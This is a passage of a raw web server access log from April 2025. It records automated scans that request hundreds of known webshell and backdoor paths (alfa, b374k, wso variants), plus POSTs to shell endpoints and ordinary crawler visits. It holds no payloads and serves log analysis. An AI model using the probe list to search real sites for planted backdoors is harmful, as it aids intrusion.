HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:52 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:53 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:54 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:57 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:00:58 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:02 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:02 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:03 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:04 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:07 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:08 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:08 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:09 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:10 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:10 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:11 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:11 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:12 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:13 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:14 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:15 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:16 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:17 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:17 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:18 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:20 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:20 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:21 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:21 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:22 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:23 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:23 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:24 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:24 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:25 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:25 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:25 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:26 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:26 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:27 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:27 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:28 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:28 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:28 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:30 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:31 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:32 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:33 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:33 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:35 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:35 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:36 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:38 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:39 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:40 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:41 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:43 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:44 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:45 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:46 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:47 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:47 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:48 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:48 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:49 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:49 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:50 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:50 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:51 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:51 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:51 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:52 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:52 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:53 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:53 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:54 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:54 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:55 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:55 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:56 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:57 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:01:57 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:00 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:01 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:02 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:03 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:05 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:06 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:06 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:07 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:07 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:08 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:09 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:10 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:12 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:12 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:13 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:13 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:14 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:14 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:14 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:15 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:15 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:15 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:16 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:16 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:17 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:18 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:20 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:21 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:22 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:23 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:24 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:25 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:26 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:27 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:27 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:28 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:28 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:29 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:30 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:30 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:31 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:31 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:31 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:32 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:33 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:33 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:34 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:34 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:34 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:35 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:35 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:36 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:36 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:37 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:38 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:38 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:39 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:39 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:40 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:41 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.247 - - [11/Apr/2025:05:02:41 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 54.36.148.58 - - [11/Apr/2025:05:30:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 17.241.219.120 - - [11/Apr/2025:05:49:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.97 - - [11/Apr/2025:05:49:31 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.166 - - [11/Apr/2025:05:50:05 -0400] "GET /contact-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 113.116.194.244 - - [11/Apr/2025:06:03:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.194.244 - - [11/Apr/2025:06:03:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 45.154.138.37 - - [11/Apr/2025:06:23:25 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:26:30 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:26:45 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:00 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:13 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:20 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:30 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:42 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:27:46 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:28:02 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [11/Apr/2025:06:28:12 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 145.239.10.137 - - [11/Apr/2025:06:35:38 -0400] "GET /theme.php HTTP/1.1" 301 795 "http://designpitara.com/theme.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 145.239.10.137 - - [11/Apr/2025:06:35:38 -0400] "GET /themes.php HTTP/1.1" 301 795 "http://designpitara.com/themes.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 192.161.162.179 - - [11/Apr/2025:06:41:36 -0400] "POST /api/upload.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 66.249.79.101 - - [11/Apr/2025:07:17:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [11/Apr/2025:07:17:03 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 17.241.219.124 - - [11/Apr/2025:07:24:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.124 - - [11/Apr/2025:07:24:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 66.249.79.99 - - [11/Apr/2025:07:28:40 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 196.251.71.229 - - [11/Apr/2025:07:57:43 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [11/Apr/2025:07:57:43 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [11/Apr/2025:07:57:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [11/Apr/2025:07:57:45 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.71.229 - - [11/Apr/2025:07:57:45 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.71.229 - - [11/Apr/2025:07:57:51 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.128.199.22 - - [11/Apr/2025:08:35:22 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 34.162.186.163 - - [11/Apr/2025:08:48:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.186.163 - - [11/Apr/2025:08:48:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.186.163 - - [11/Apr/2025:08:48:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.186.163 - - [11/Apr/2025:08:48:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.186.163 - - [11/Apr/2025:08:48:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.186.163 - - [11/Apr/2025:08:48:56 -0400] "GET / HTTP/1.1" 301 795 "-" 